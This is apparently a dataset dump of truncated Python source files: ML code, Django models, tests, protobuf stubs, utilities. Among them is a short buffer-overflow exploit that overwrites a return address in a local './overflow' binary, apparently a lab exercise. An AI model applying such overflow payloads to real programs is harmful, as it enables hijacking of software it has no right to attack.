content
stringlengths
5
1.05M
# %% import torch dtype = torch.float # N is batch size; D_in is input dimension; # H is hidden dimension; D_out is output dimension. N, D_in, H, D_out = 64, 1000, 100, 10 # Create random input and output data x = torch.randn(N, D_in, dtype=dtype) y = torch.randn(N, D_out, dtype=dtype) # Randomly initialize weights...
# Util functions in this project import json import numpy as np import pandas as pd import os from scipy.io import loadmat from sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score from sklearn.decomposition import PCA from sklearn.feature_selection import GenericUnivariateSelect, SelectFpr, chi2,...
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: cost/v1/cost.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.pr...
from __future__ import ( absolute_import, unicode_literals, ) import abc import enum from conformity import fields import six from pysoa.common.schemas import BasicClassSchema @six.add_metaclass(abc.ABCMeta) class Counter(object): """ Defines an interface for incrementing a counter. """ @a...
import logging from typing import Type from ray.rllib.agents.a3c.a3c_tf_policy import A3CTFPolicy from ray.rllib.agents.trainer import Trainer, with_common_config from ray.rllib.evaluation.worker_set import WorkerSet from ray.rllib.execution.rollout_ops import AsyncGradients from ray.rllib.execution.train_ops import A...
"""The Hubitat integration.""" from asyncio import gather from logging import getLogger import re from typing import Any, Dict from custom_components.hubitat.services import ( async_register_services, async_remove_services, ) import voluptuous as vol from homeassistant.config_entries import ConfigEntry from h...
import json from datetime import datetime import pytest from portal.api.utils import connect from portal.api.utils import get_wind_direction from portal.app import app def test_database_can_query(): with connect(app.config['DB_PATH']) as db: result = db.execute( # sqlite needs this type cast...
import argparse import pytorch_lightning as pl import torch import style_transfer.data.image_triplet import style_transfer.models.style_transfer_model from typing import Any def _parse_args(): parser = argparse.ArgumentParser() parser.add_argument( 'content_image', type=str, help="A ...
"""Swagger decorators""" import inspect import tornado.web import tornado_swirl.settings as settings from tornado_swirl import docparser from tornado_swirl.handlers import swagger_handlers def is_rest_api_method(obj): """Determines if function or method object is an HTTP method handler object""" return (ins...
_base_ = [ '../_base_/models/vit_small_p16.py', '../_base_/datasets/imagenet_swin_sz224_8xbs128.py', '../_base_/default_runtime.py', ] # MoCo v3 linear probing setting # model settings model = dict( backbone=dict(frozen_stages=12, norm_eval=True), head=dict( loss=dict(type='LabelSmoothLoss...
import torch from . import _base from . import utils from .so2 import SO2Matrix class SE2Matrix(_base.SEMatrixBase): """See :mod:`liegroups.SE2`""" dim = 3 dof = 3 RotationType = SO2Matrix def adjoint(self): rot_part = self.rot.as_matrix() if rot_part.dim() < 3: rot_p...
import argparse import sys import subprocess from pathlib import Path from ds_utils.image_processing import get_imgs_paths # see https://trac.ffmpeg.org/wiki/Create%20a%20mosaic%20out%20of%20several%20input%20videos def main(_=None): parser = argparse.ArgumentParser(description='Video Mosaic via FFMPEG') pa...
# Gunicorn configuration file # bind - what ports/sockets to listen on bind = '127.0.0.1:5000' # loglevel - "debug", "info", "warning", "error", "critical" loglevel = 'info' # Number of worker processes workers = 2 # Worker timeout (seconds) timeout = 120
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/cloud/quantum_v1alpha1/proto/engine.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf ...
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import os import sys import sysconfig def main(): """Command line utility to retrieve compilation options for python modules' """ pars...
from typing import List from journey11.src.experiments.protokafka.state import State from journey11.src.experiments.protokafka.task import Task class Message2: _field_X: str _m2: int _state: State _tasks: List[Task] def __init__(self, **kwargs): self._field_X = kwargs.get('field_X', str()...
# Generated by Django 4.0 on 2022-02-13 05:35 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Categories', fields=[ ...
#!/opt/python/cp37-cp37m/bin/python import glob import os import subprocess import sys from pathlib import Path from shlex import quote from typing import Dict, List, Optional from toml import load def latest_file(pattern) -> Optional[str]: files = glob.glob(pattern) if not files: return files.so...
import numpy as np import time import torch from . import communication from . import devices from . import dndarray from . import factories from . import stride_tricks from . import types from typing import Type, List, Optional, Tuple # introduce the global random state variables, will be correctly initialized at t...
import unittest from unittest.mock import patch import numpy as np from functools import partial from sacred import Experiment from benchmarks.experiment_matrix import experiment_matrix from benchmarks.experiment_matrix import sample_mean class TestExperimentMatrix(unittest.TestCase): def test_config_len(cls):...
# -*- coding: utf-8 -*- # Copyright 2017 Kakao, Recommendation Team # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
""" sphinx.ext.autodoc.deprecated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The deprecated Documenters for autodoc. :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ import warnings from typing import Any from sphinx.deprecation import RemovedInSphi...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ **Project Name:** MakeHuman **Product Home Page:** http://www.makehumancommunity.org/ **Github Code Home Page:** https://github.com/makehumancommunity/ **Authors:** Glynn Clements **Copyright(c):** MakeHuman Team 2001-2019 **Licensing:** ...
from django.core.files.storage import FileSystemStorage class OverwriteStorage(FileSystemStorage): def get_available_name(self, name, max_length=None): self.delete(name) return name
from typing import Tuple, Dict from brochure.brochure_application import BrochureApplication from brochure.commands.command_types import CommandType from brochure.values.basics import Basics from brochure.values.contact_method import ContactMethodType, ContactMethod from brochure.values.enterprise import Enterprise fr...
from unittest import TestCase from unittest import main from will_you_make_it import zero_fuel class TestWillYouMakeIt(TestCase): def test_zero_fuel(self): test_patterns = [ (50, 25, 2, True), (100, 50, 1, False), ] for d, m, f, exp in test_patterns: wi...
#################################################### # 3. Control de Flujo #################################################### una_variable = 5 # 3.1 Bloque IF | Decisión if una_variable > 10: print("Valor mayor a 10") if una_variable: print("La variable no debe ser 0") # Else if una_variable >= 0: p...
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * from alipay.aop.api.domain.CreditPayMoneyVO import CreditPayMoneyVO from alipay.aop.api.domain.CreditPayMoneyVO import CreditPayMoneyVO from alipay.aop.api.domain.CreditPayMoneyVO import CreditPayMoneyVO from...
import ffmpeg import numpy as np import torch from torchvision.utils import save_image import torchvision.transforms as transforms import libav_functions #out, _ = ( # ffmpeg # .input('data/train/vid1.mkv', ss="00:01:00") # #.filter('select', 'gte(n,{})'.format(100)) # .output('pipe:', format='rawvideo'...
from pln_protocol_server import PLN_Protocol_Server def server_thread(connection,address): ip, port = str(address[0]), str(address[1]) print('Connected to client',ip,':',port) protocol = PLN_Protocol_Server() while True: client_message = connection.recv(40960000) print('Request recei...
from django.contrib import admin from .models import PageView, ProductView, BrandView # Register your models here. class TrackingAdmin(admin.ModelAdmin): list_display = ( 'user', 'product', 'tracking_id', 'valid_tracker', 'ip_address', 'date' ) list_display...
import sys import time import unittest if sys.version_info[0] == 3: import unittest.mock as mock else: import mock from twitchobserver import Observer, EventType SUCCESSFUL_LOGIN_MESSAGE = """:tmi.twitch.tv 001 nickname :Welcome, GLHF!\r :tmi.twitch.tv 002 nickname :Your host is tmi.twitch.tv\r :tmi.twitch....
import parsedatetime as pdt from dateutil.parser import parse from pytz import timezone from util import hook, http EASTERN = timezone('US/Eastern') def get_scores(inp, status): """Return NHL games with a specific status""" nhl_scores_url = "https://statsapi.web.nhl.com/api/v1/schedule?startDate=%s&endDate=%...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Module that defines a setup function and publishes the package to PyPI. Use the command `python setup.py upload`. """ # Note: To use the "upload" functionality of this file, you must: # $ pip install twine import io import os import sys from shutil import rmtree fr...
# Copyright 2016 ETH Zurich # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, sof...
# code from: https://github.com/nicola-decao/s-vae-pytorch import hyperspherical_vae.ops import hyperspherical_vae.distributions
from lightgbm import LGBMClassifier # light gradient boosting tree classifier fits faster than xgbm def lightGBMClassifier(X, y, num_leaves=31, max_depth=-1, learning_rate=0.1, n_estimators=100): model = LGBMClassifier(num_leaves, max_depth, learning_rate, n_estimators) model.fit(X...
# This code is part of Qiskit. # # (C) Copyright IBM 2020. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative wo...
from flask import Flask, request, render_template, jsonify, session, flash, url_for, redirect import requests import json from requests import Request, Session from flask_debugtoolbar import DebugToolbarExtension # from secret import API_KEY from forms import RegisterForm, LoginForm from models import db, connect_db, U...
from django.contrib import admin from django_summernote.admin import SummernoteModelAdmin from .models import * class NewsAdmin(SummernoteModelAdmin): summernote_fields = ('news_text',) list_filter = ['news_date', 'parsing_date'] list_display = ['title', 'news_date', 'parsing_date', 'source_reviews'] ...
#!/usr/bin/env python3 import itertools import numpy as np import pandas as pd import tensorflow as tf import tensorflow_probability as tfp from factor_analyzer import ( FactorAnalyzer) from autoencirt.irt import IRTModel from bayesianquilts.util import ( build_trainable_InverseGamma_dist, build_trainabl...
from django.apps import AppConfig class HistoriesConfig(AppConfig): name = 'wikis.histories'
from corehq.apps.builds.utils import get_default_build_spec
import falcon import falcon.testing import pytest from sqlalchemy import create_engine from falcon_sqla import Manager class Languages: def __init__(self, database): misconfigured = create_engine('sqlite:////misconfigured') binds = {database.Language: database.read_engine} self.db = dat...
import random import pytest from inference_logic import Rule, Variable from inference_logic.algorithms import search from inference_logic.data_structures import Assert, Assign, PrologList @pytest.fixture def seeded_random(): return random.Random(1000) X, Y, Z = Variable.factory("X", "Y", "Z") L, _W = Variable...
"""Explicit Symbolic Regression Explicit symbolic regression is the search for a function, f, such that f(x) = y. The classes in this module encapsulate the parts of bingo evolutionary analysis that are unique to explicit symbolic regression. Namely, these classes are an appropriate fitness evaluator and a correspond...
import cv2 import os from pathlib import Path import numpy as np import pandas as pd import random path = os.getcwd() def get_dataset(batch_size=200): ds_names = get_data_names() ds = [] for ds_name in ds_names: ds_x, ds_y = delete_empty_frames( get_frames(ds_name), get_keypoints(ds...
""" Project model """ # Models from django.db import models from .timeStampMixin import TimeStampMixin from .businessareas import BusinessArea from .entrepreneurs import Entrepreneur from .postulations import Postulation from ...accounts.models.users import User # Date and time from django.utils import timezone # Va...
# # -*- coding: utf-8 -*- # # # # This file is part of Invenio. # # Copyright (C) 2020 CERN. # # # # Invenio is free software; you can redistribute it and/or modify it # # under the terms of the MIT License; see LICENSE file for more details. # """Community module tests.""" import pytest from flask import url_for fro...
diagnostic_keyphrases = { 0: ['normal fundus'], 1: ['nonproliferative retinopathy', 'non proliferative retinopathy','mild nonproliferative retinopathy', 'proliferative retinopathy','diabetic retinopathy', 'moderate non proliferative retinopathy', 'severe proliferative diabetic retinopathy', 'myopia retinopathy', ...
"""Utility to store int or float parameters with a label The label is added merely for information: there is no extra functionality associated with it. The module has a factory class Parameter(value, label) which returns either ParameterInt ot ParameterFloat depending on type(value). """ class ParameterInt(int): ...
import logging import os import sys LOG_FORMAT = "%(asctime)-15s [%(process)s] %(levelname)-5s <%(name)s> %(filename)s:%(lineno)-4d Corr_Id: %(correlation_id)s %(message)s" class ContextFilter(logging.Filter): """ This is a filter which injects contextual information into the log. """ def filter(se...
# Copyright (c) 2018 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
import os import glob import imageio import cv2 import torch import numpy as np #from base import BaseData #1 from Data_zoo.base import BaseData #2 import yaml from easydict import EasyDict as edict class Example(BaseData): def __init__(self, args): super(Example, self).__init__(args) ...
import logging import pyvex import angr l = logging.getLogger(name=__name__) ###################################### # __libc_start_main ###################################### class __libc_start_main(angr.SimProcedure): #pylint:disable=arguments-differ,unused-argument,attribute-defined-outside-init ADDS_EXI...
# ! /usr/local/bin python # -*- coding:utf-8 -*- ''' Main file of the project. The project aims at findng core terms, brand, and descriptions from a product title from e-commerce websites. The e-commerce product title lacks grammatical structure and can be hardly processed using context information. One characteris...
### mpi4py-ve License ## # # Copyright (c) 2022, NEC Corporation. All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, t...
import os import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D """ functions.py a python package for analysing anf visualizing pdb and xyz file. Handles the primary functions """ def canvas(with_attribution=True): """ Placeholder function to show example docstring (Nu...
from sets.core import Step class Normalize(Step): def __init__(self, reference): self._means = {} self._stds = {} self._shapes = {} for column in reference.columns: data = reference[column] shape = data.shape[1:] mean, std = data.mea...
import setuptools with open("README_PACKAGE.md", "r") as fh: long_description = fh.read() with open("package_requirements.txt") as f: requirements = f.read().splitlines() setuptools.setup( name="TakeBlipPosTagger", version="1.0.7", author="Data and Analytics Research", author_email="analytics...
import sqlite3 from DataBases.DataBaseClass import Database from botclass import botgetclass from datetime import datetime from datetime import timedelta from re import findall import asyncio class RequestedDatabase(Database): """Stores information on games that have been requested to play with another pe...
from icrawler.storage import BaseStorage from io import BytesIO class GoogleStorage(BaseStorage): """Google Storage backend. The id is filename and data is stored as text files or binary files. The root_dir is the bucket address such as gs://<your_bucket>/<your_directory>. """ def __init__(self,...
# -*- coding: utf-8 -*- ''' Copyright (c) 2021, MIT Interactive Robotics Group, PI Julie A. Shah. Authors: Shen Li, Nadia Figueroa, Ankit Shah, Julie A. Shah All rights reserved. ''' import numpy as np import os import hr_planning from hr_planning.env_gridworld_human.hmdp import HumanMdp num_grids_in_obs = 40 num_obs...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This code line is a comment. # This code line is a comment too. # The comment lines will be ignored. # The comment lines are visible for human. # The comment lines are invisible for computer. print('hello world');
# Generated by Django 4.0.1 on 2022-02-16 07:31 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('invoice', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='invoice', name='due_days', ...
import numpy as np from pandas import DataFrame class WtKlineData: def __init__(self, size:int): self.size:int = size self.count:int = 0 self.bartimes = np.zeros(self.size) self.opens = np.zeros(self.size) self.highs = np.zeros(self.size) self.lows = np.z...
# Copyright 2015 Ufora Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
from django import forms as django_forms from django.core.urlresolvers import reverse from django.http import Http404 import commonware from rest_framework import exceptions, response, serializers, status, viewsets from rest_framework.decorators import action from rest_framework.response import Response from lib.metr...
import curses import time screen = curses.initscr() screen.addstr(4, 10, "Hello from (4, 10)!") screen.refresh() time.sleep(2) curses.endwin()
import uuid from datetime import datetime from sqlalchemy.dialects.postgresql import UUID from ....utils.models_mixins import AuditMixin, Base from app.extensions import db class MineTypeDetail(AuditMixin, Base): __tablename__ = 'mine_type_detail_xref' mine_type_detail_xref_guid = db.Column(UUID(as_uuid=True...
""" Module. Includes functions that will modify the accelerator lattice by inserting an error node into a teapot accelerator node. """ # import the auxiliary classes from orbit.utils import orbitFinalize # import general accelerator elements and lattice from orbit.lattice import AccLattice, AccNode,\ AccActionsContai...
#!/usr/bin/env python # -*- coding: utf-8 -*- # first we will assume the input file is a txt because of course python cant # read "words" of binary data files like pdf and doc..(at least with open/read) # it can with the 'rb' flag but its pointless? ¯\_(ツ)_/¯ import random import string import sys def scanFile(filePa...
""" This module defines functions for registering, loading, and querying girder plugins. """ import distutils.dist from functools import wraps import json import os from pkg_resources import iter_entry_points, resource_filename import six from girder import logprint from girder.exceptions import GirderException _N...
from .constants import * from .common import * from .file_formats import * from .import_data_file import * import beamtools.diffraction_grating_pair as grating import beamtools.beam_profile as profile import beamtools.sellmeier_dispersion as disp import beamtools.pulse as pulse import beamtools.ultrafast_pulse_propaga...
import hashlib, base64 arrayTypesMapping = [ " ", # VTK_VOID 0 " ", # VTK_BIT 1 "b", # VTK_CHAR 2 "B", # VTK_UNSIGNED_CHAR 3 "h", # VTK_SHORT 4 "H", # VTK_UNSIGNED_SHORT 5 "i", # VTK_INT 6 "I", # VTK_UNSIGNED_INT 7 ...
#!/usr/bin/env python # -*- coding: utf-8 -* # Copyright: [CUP] - See LICENSE for details. # Authors: Liu.Jia@baidu, Guannan Ma (@mythmgn), """ :description: Complex and constructive conf support """ from __future__ import print_function import os import time import copy import shutil from xml.dom import minidom im...
import os import discord from dotenv import load_dotenv from discord.ext import commands from pydrive.auth import GoogleAuth from pydrive.drive import GoogleDrive gauth = GoogleAuth() drive = GoogleDrive(gauth) load_dotenv() TOKEN = os.getenv('DISCORD_TOKEN') bot = commands.Bot(command_prefix = '!') ...
from os import system, popen, path from job import * from secrets import * import re class SlurmJob(Job): def __init__(self, ncores, nnodes, esttime, executionplan,simulation_id ): Job.__init__(self, executionplan,simulation_id) self.nnodes = nnodes self.ncores = ncores self.esttime...
from chemaboxwriters.kgoperations.javagateway import jpsBaseLibGW import json jpsBaseLib_view = jpsBaseLibGW.createModuleView() jpsBaseLibGW.importPackages(jpsBaseLib_view,"uk.ac.cam.cares.jps.base.query.*") def querykg(sparqlEndPoint=None, queryStr=None): StoreClient = jpsBaseLib_view.RemoteStoreClient(sparqlEn...
from django.contrib.auth import get_user_model from admin_sso.models import Assignment class DjangoSSOAuthBackend(object): def get_user(self, user_id): cls = get_user_model() try: return cls.objects.get(pk=user_id) except cls.DoesNotExist: return None def auth...
import sys, subprocess fuzzer = b"\x41"*24 ebx = b"\x42"*4 ebp = b"\x43"*4 addr = b"\x2d\x62\x55\x56" payload = fuzzer + ebx + ebp + addr args = ["./overflow", payload] subprocess.call(args) #0x5660522d #0x5655622d #0x56 55 62 2d
from django.contrib import admin from mezzanine.pages.admin import PageAdmin from mezzanine.galleries.models import Gallery from mezzanine.galleries.admin import GalleryAdmin from mezzanine.forms.models import Form from mezzanine.forms.admin import FormAdmin from mezzanine.core.admin import StackedDynamicInlineAdmin fr...
#!/usr/bin/env python # -*- coding: utf-8 -*- from distutils.core import setup, Extension import numpy.distutils.misc_util setup( name = 'pylevel', version = '0.1.0', description = 'This module provides the 3D level function', author = 'Flavio Calvo', author_email = 'flavio.calvo@irsol.c...
"""Default imports for papi.db""" from .db import DB, SlurmJob
# vim: set et sw=4 sts=4 fileencoding=utf-8: # # The colorzero color library # Copyright (c) 2016-2018 Dave Jones <dave@waveform.org.uk> # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of sourc...
# Generated by Django 2.2.11 on 2020-04-01 18:51 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('products', '0004_auto_20200401_1848'), ] operations = [ migrations.AlterField( model_name='review', name='rating', ...
# pip install boto3 import boto3 import re import time import os import requests import json import wandb import argparse from distutils.util import strtobool client = boto3.client('batch') parser = argparse.ArgumentParser(description='CleanRL Experiment Submission') # experiment generation parser.add_argument('--exp-...
from iot_agriculture import TcpServer, Header, Responce, SensorData, Config from iot_agriculture.server import DbConnection, TelegramBot import logging from datetime import datetime, timedelta from twisted.internet import task from telegram import ParseMode import os import yaml logger = logging.getLogger("Server") ...
str = 'X-DSPAM-Confidence:0.8475' fp = float( str[ str.find(':')+1 : ] ) print( fp )
from django.dispatch import Signal job_started = Signal(providing_args=['job']) job_done = Signal(providing_args=['job']) job_failed = Signal(providing_args=['job', 'error'])
import sys sys.path.append('../player_model/') import simulation_utils import config from rectangular_world import RectangularWorld import numpy as np import pandas as pd game_length = 5.0 super_slow = False def run(i): environment = get_environment() center = simulation_utils.random_walk_centers(envir...
from set import HashSet import unittest class SetTest(unittest.TestCase): def test_init(self): elements = ['A', 'B', 'C'] set = HashSet(elements) assert set.size is 3 def test_size(self): elements = ['A', 'B', 'C', 'D', 'E'] set = HashSet(elements) assert set.s...
def cc_binary(*args, **kwargs): """See the Bazel core cc_binary documentation. [available here]( https://docs.bazel.build/versions/master/be/c-cpp.html#cc_binary). """ native.cc_binary(*args, **kwargs) def cc_import(*args, **kwargs): """See the Bazel core cc_import documentation. [availab...
# -*- Mode: Python -*- # coding=utf-8 # GDBus - GLib D-Bus Library # # Copyright (C) 2008-2011 Red Hat, Inc. # Copyright (C) 2018 Iñigo Martínez <inigomartinez@gmail.com> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as publishe...
from rest_framework import serializers from core.models import Ingredient, Recipe class IngredientSerializer(serializers.ModelSerializer): """Serializer for Ingredient objects """ class Meta: model = Ingredient fields = ('name',) class RecipeSerializer(serializers.ModelSerializer): ...
#!/usr/bin/python3 # -*- coding: utf-8 -*- # @Time : 19-1-17 下午4:08 # @Author : Hubery # @File : urls.py # @Software: PyCharm from django.conf.urls import url from blog import views from blog.search_view import MySearchView urlpatterns = [ url(r'^read/$', views.read_blog, name='read_blog'), url(r'^get_...
import inspect from approvaltests import ( get_default_reporter, approvals, verify, ReporterForTesting, combination_approvals, ) from approvaltests.core.options import Options def test_every_function_in_approvals_with_verify_has_an_options(): assert_verify_methods_have_options(approvals) ...
import random import math def encrypt(msg,key): #encrypting the message cipher_text = [''] * key for col in range(key): pointer = col while pointer < len(msg): cipher_text[col] += msg[pointer] pointer += key return ''.join(cipher_text) def decrypt(msg, key): no_of_col = math....
def method1(l: list) -> list: def partition(arr, low, high): pivot = arr[high] i = low - 1 for j in range(low, high): if arr[j] <= pivot: i += 1 arr[i], arr[j] = arr[j], arr[i] arr[i + 1], arr[high] = arr[high], arr[i + 1] return i ...
#!/usr/bin/env python3 # KEYS=[python datetime format parse] # install python-dateutil from datetime import datetime import dateutil.parser def format(d: datetime) -> str: return d.strftime("%Y/%m/%d, %H:%M:%S") print(format(datetime.utcnow())) def parse_date(d: str) -> datetime: return dateutil.parser.p...